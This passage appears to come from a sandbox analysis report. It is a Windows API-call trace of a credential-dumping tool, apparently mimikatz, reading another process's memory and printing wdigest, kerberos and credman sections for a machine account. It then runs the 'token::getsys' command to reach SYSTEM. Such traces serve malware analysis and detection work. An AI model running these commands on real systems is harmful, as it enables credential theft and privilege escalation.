(in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.160] GetLastError () returned 0x12b [0196.160] SetLastError (dwErrCode=0x12b) [0196.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.161] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.161] GetLastError () returned 0x12b [0196.161] SetLastError (dwErrCode=0x12b) [0196.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09tspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=9, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09tspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 9 [0196.161] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x9, lpOverlapped=0x0) returned 1 [0196.161] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf94b00, lpBuffer=0x10f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f960*, lpNumberOfBytesRead=0x0) returned 1 [0196.161] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6000, lpBuffer=0x10f8b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f8b0*, lpNumberOfBytesRead=0x0) returned 1 [0196.161] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0196.161] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1cc110, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.161] LocalFree (hMem=0x160a40) returned 0x0 [0196.161] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a60a0, lpBuffer=0x10f800, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f800*, lpNumberOfBytesRead=0x0) returned 1 [0196.162] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0196.162] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d6050, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.162] LocalFree (hMem=0x160a40) returned 0x0 [0196.162] GetLastError () returned 0x12b [0196.162] SetLastError (dwErrCode=0x12b) [0196.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.162] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.162] GetLastError () returned 0x12b [0196.162] SetLastError (dwErrCode=0x12b) [0196.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09wdigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09wdigest :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.162] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.162] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x18e030 [0196.162] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0212c0, lpBuffer=0x10fa38, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa38*, lpNumberOfBytesRead=0x0) returned 1 [0196.163] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187300, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.163] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187150, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.163] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x186e80, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.163] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b0c60, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.163] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1808f0, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.163] LocalFree (hMem=0x18e030) returned 0x0 [0196.163] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x169240 [0196.163] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1808f0, lpBuffer=0x169240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x169240*, lpNumberOfBytesRead=0x0) returned 1 [0196.163] ConvertSidToStringSidW () returned 0x1 [0196.163] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bc00 [0196.163] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x164500, lpBuffer=0x16bc00, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bc00*, lpNumberOfBytesRead=0x0) returned 1 [0196.163] IsTextUnicode (in: lpv=0x16bc00, iSize=20, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0196.163] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bbe0 [0196.163] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x164520, lpBuffer=0x16bbe0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbe0*, lpNumberOfBytesRead=0x0) returned 1 [0196.164] IsTextUnicode (in: lpv=0x16bbe0, iSize=18, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0196.164] GetLastError () returned 0x0 [0196.164] SetLastError (dwErrCode=0x0) [0196.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : ", cchWideChar=70, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : assword : ", lpUsedDefaultChar=0x0) returned 70 [0196.164] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x46, lpOverlapped=0x0) returned 1 [0196.164] GetLastError () returned 0x0 [0196.164] SetLastError (dwErrCode=0x0) [0196.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(null)Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : ", cchWideChar=6, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(null)Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : assword : ", lpUsedDefaultChar=0x0) returned 6 [0196.164] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x6, lpOverlapped=0x0) returned 1 [0196.164] LocalFree (hMem=0x16bc00) returned 0x0 [0196.164] LocalFree (hMem=0x16bbe0) returned 0x0 [0196.164] LocalFree (hMem=0x16bbc0) returned 0x0 [0196.164] LocalFree (hMem=0x169240) returned 0x0 [0196.164] GetLastError () returned 0x0 [0196.164] SetLastError (dwErrCode=0x0) [0196.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\ndigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\ndigest :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.165] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.165] GetLastError () returned 0x0 [0196.165] SetLastError (dwErrCode=0x0) [0196.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09kerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=12, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09kerberos :\x09", lpUsedDefaultChar=0x0) returned 12 [0196.165] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xc, lpOverlapped=0x0) returned 1 [0196.165] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd362840, lpBuffer=0x10f940, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f940*, lpNumberOfBytesRead=0x0) returned 1 [0196.165] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4590, lpBuffer=0x10f890, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f890*, lpNumberOfBytesRead=0x0) returned 1 [0196.165] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.165] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c9780, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.165] LocalFree (hMem=0x164500) returned 0x0 [0196.165] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a9350, lpBuffer=0x10f7e0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.165] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.166] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b6000, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.166] LocalFree (hMem=0x164500) returned 0x0 [0196.166] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d43b0, lpBuffer=0x10f7e0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.166] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.166] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e08b0, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.166] LocalFree (hMem=0x164500) returned 0x0 [0196.166] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x176d90, lpBuffer=0x10f730, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f730*, lpNumberOfBytesRead=0x0) returned 1 [0196.166] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.166] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x183a30, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.166] LocalFree (hMem=0x164500) returned 0x0 [0196.166] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x181de0 [0196.166] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x183a30, lpBuffer=0x181de0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x181de0*, lpNumberOfBytesRead=0x0) returned 1 [0196.166] ConvertSidToStringSidW () returned 0x1 [0196.166] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bbc0 [0196.166] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x164540, lpBuffer=0x16bbc0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbc0*, lpNumberOfBytesRead=0x0) returned 1 [0196.166] IsTextUnicode (in: lpv=0x16bbc0, iSize=20, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.166] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bc00 [0196.166] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x164560, lpBuffer=0x16bc00, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bc00*, lpNumberOfBytesRead=0x0) returned 1 [0196.167] IsTextUnicode (in: lpv=0x16bc00, iSize=18, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.167] GetLastError () returned 0x0 [0196.167] SetLastError (dwErrCode=0x0) [0196.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : ", cchWideChar=70, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : assword : @ë\x10", lpUsedDefaultChar=0x0) returned 70 [0196.167] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x46, lpOverlapped=0x0) returned 1 [0196.167] GetLastError () returned 0x0 [0196.167] SetLastError (dwErrCode=0x0) [0196.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(null)Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : ", cchWideChar=6, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(null)Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : assword : @ë\x10", lpUsedDefaultChar=0x0) returned 6 [0196.167] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x6, lpOverlapped=0x0) returned 1 [0196.167] LocalFree (hMem=0x16bbc0) returned 0x0 [0196.167] LocalFree (hMem=0x16bc00) returned 0x0 [0196.167] LocalFree (hMem=0x16bbe0) returned 0x0 [0196.167] LocalFree (hMem=0x181de0) returned 0x0 [0196.167] GetLastError () returned 0x0 [0196.167] SetLastError (dwErrCode=0x0) [0196.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nerberos :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.168] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.168] GetLastError () returned 0x0 [0196.168] SetLastError (dwErrCode=0x0) [0196.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09ssp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09ssp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 7 [0196.168] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.168] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2178d0, lpBuffer=0x10fa20, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.168] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7c70, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.168] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d8080, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.168] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7d40, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.168] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7ba0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.169] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7860, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.169] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d72b0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.169] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7040, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.169] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c4370, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.169] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4110, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.169] GetLastError () returned 0x0 [0196.169] SetLastError (dwErrCode=0x0) [0196.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.169] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.169] GetLastError () returned 0x0 [0196.169] SetLastError (dwErrCode=0x0) [0196.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09credman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09credman :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.170] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.170] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x179be0, lpBuffer=0x10fa40, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa40*, lpNumberOfBytesRead=0x0) returned 1 [0196.170] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1835a0, lpBuffer=0x10fa00, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa00*, lpNumberOfBytesRead=0x0) returned 1 [0196.170] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x181de0 [0196.170] LocalFree (hMem=0x181de0) returned 0x0 [0196.170] GetLastError () returned 0x0 [0196.170] SetLastError (dwErrCode=0x0) [0196.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nredman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nredman :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.170] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.170] LocalFree (hMem=0x16bba0) returned 0x0 [0196.170] LocalFree (hMem=0x16bb80) returned 0x0 [0196.170] LocalFree (hMem=0x16bb60) returned 0x0 [0196.170] LocalFree (hMem=0x17d9f0) returned 0x0 [0196.173] LocalFree (hMem=0x17deb0) returned 0x0 [0196.173] LocalFree (hMem=0x176630) returned 0x0 [0196.173] LocalFree (hMem=0x16bb20) returned 0x0 [0196.176] GetLastError () returned 0x0 [0196.176] SetLastError (dwErrCode=0x0) [0196.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nmimikatz(commandline) # token::getsys\r\n\x18", cchWideChar=41, lpMultiByteStr=0x10ed00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nmimikatz(commandline) # token::getsys\r\n¢ûüþ\x07", lpUsedDefaultChar=0x0) returned 41 [0196.176] WriteFile (in: hFile=0x720, lpBuffer=0x10ed00*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x10e640, lpOverlapped=0x0 | out: lpBuffer=0x10ed00*, lpNumberOfBytesWritten=0x10e640*=0x29, lpOverlapped=0x0) returned 1 [0196.345] ExpandEnvironmentStringsW (in: lpSrc="token::getsys", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0xe [0196.345] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x176630 [0196.345] ExpandEnvironmentStringsW (in: lpSrc="token::getsys", lpDst=0x176630, nSize=0xe | out: lpDst="token::getsys") returned 0xe [0196.345] CommandLineToArgvW (in: lpCmdLine="token::getsys", pNumArgs=0x10fc68 | out: pNumArgs=0x10fc68) returned 0x18d290*="token::getsys" [0196.345] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x16bb20 [0196.345] CreateWellKnownSid (in: WellKnownSidType=0x16, DomainSid=0x0, pSid=0x0, cbSid=0x10fbd0 | out: pSid=0x0, cbSid=0x10fbd0) returned 0 [0196.346] GetLastError () returned 0x7a [0196.346] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x16bb60 [0196.346] CreateWellKnownSid (in: WellKnownSidType=0x16, DomainSid=0x0, pSid=0x16bb60, cbSid=0x10fbd0 | out: pSid=0x16bb60*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), cbSid=0x10fbd0) returned 1 [0196.346] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x16bb60*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x10faf0, ReferencedDomainName=0x0, cchReferencedDomainName=0x10fb38, peUse=0x10faf4 | out: Name=0x0, cchName=0x10faf0, ReferencedDomainName=0x0, cchReferencedDomainName=0x10fb38, peUse=0x10faf4) returned 0 [0196.502] GetLastError () returned 0x7a [0196.502] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x16bba0 [0196.503] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18e150 [0196.503] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x16bb60*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x16bba0, cchName=0x10faf0, ReferencedDomainName=0x18e150, cchReferencedDomainName=0x10fb38, peUse=0x10faf4 | out: Name="SYSTEM", cchName=0x10faf0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x10fb38, peUse=0x10faf4) returned 1 [0196.504] LocalFree (hMem=0x16bba0) returned 0x0 [0196.504] LocalFree (hMem=0x18e150) returned 0x0 [0196.504] GetLastError () returned 0x7a [0196.504] SetLastError (dwErrCode=0x7a) [0196.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x01", cchWideChar=2, lpMultiByteStr=0x10eb90, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x18", lpUsedDefaultChar=0x0) returned 2 [0196.504] WriteFile (in: hFile=0x720, lpBuffer=0x10eb90*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e4d0, lpOverlapped=0x0 | out: lpBuffer=0x10eb90*, lpNumberOfBytesWritten=0x10e4d0*=0x2, lpOverlapped=0x0) returned 1 [0196.504] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x1859f0 [0196.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1859f0, Length=0x1000, ResultLength=0x10fa78 | out: SystemInformation=0x1859f0, ResultLength=0x10fa78*=0x100011c10) returned 0xc0000004 [0196.505] LocalFree (hMem=0x1859f0) returned 0x0 [0196.505] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x1859f0 [0196.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1859f0, Length=0x2000, ResultLength=0x10fa78 | out: SystemInformation=0x1859f0, 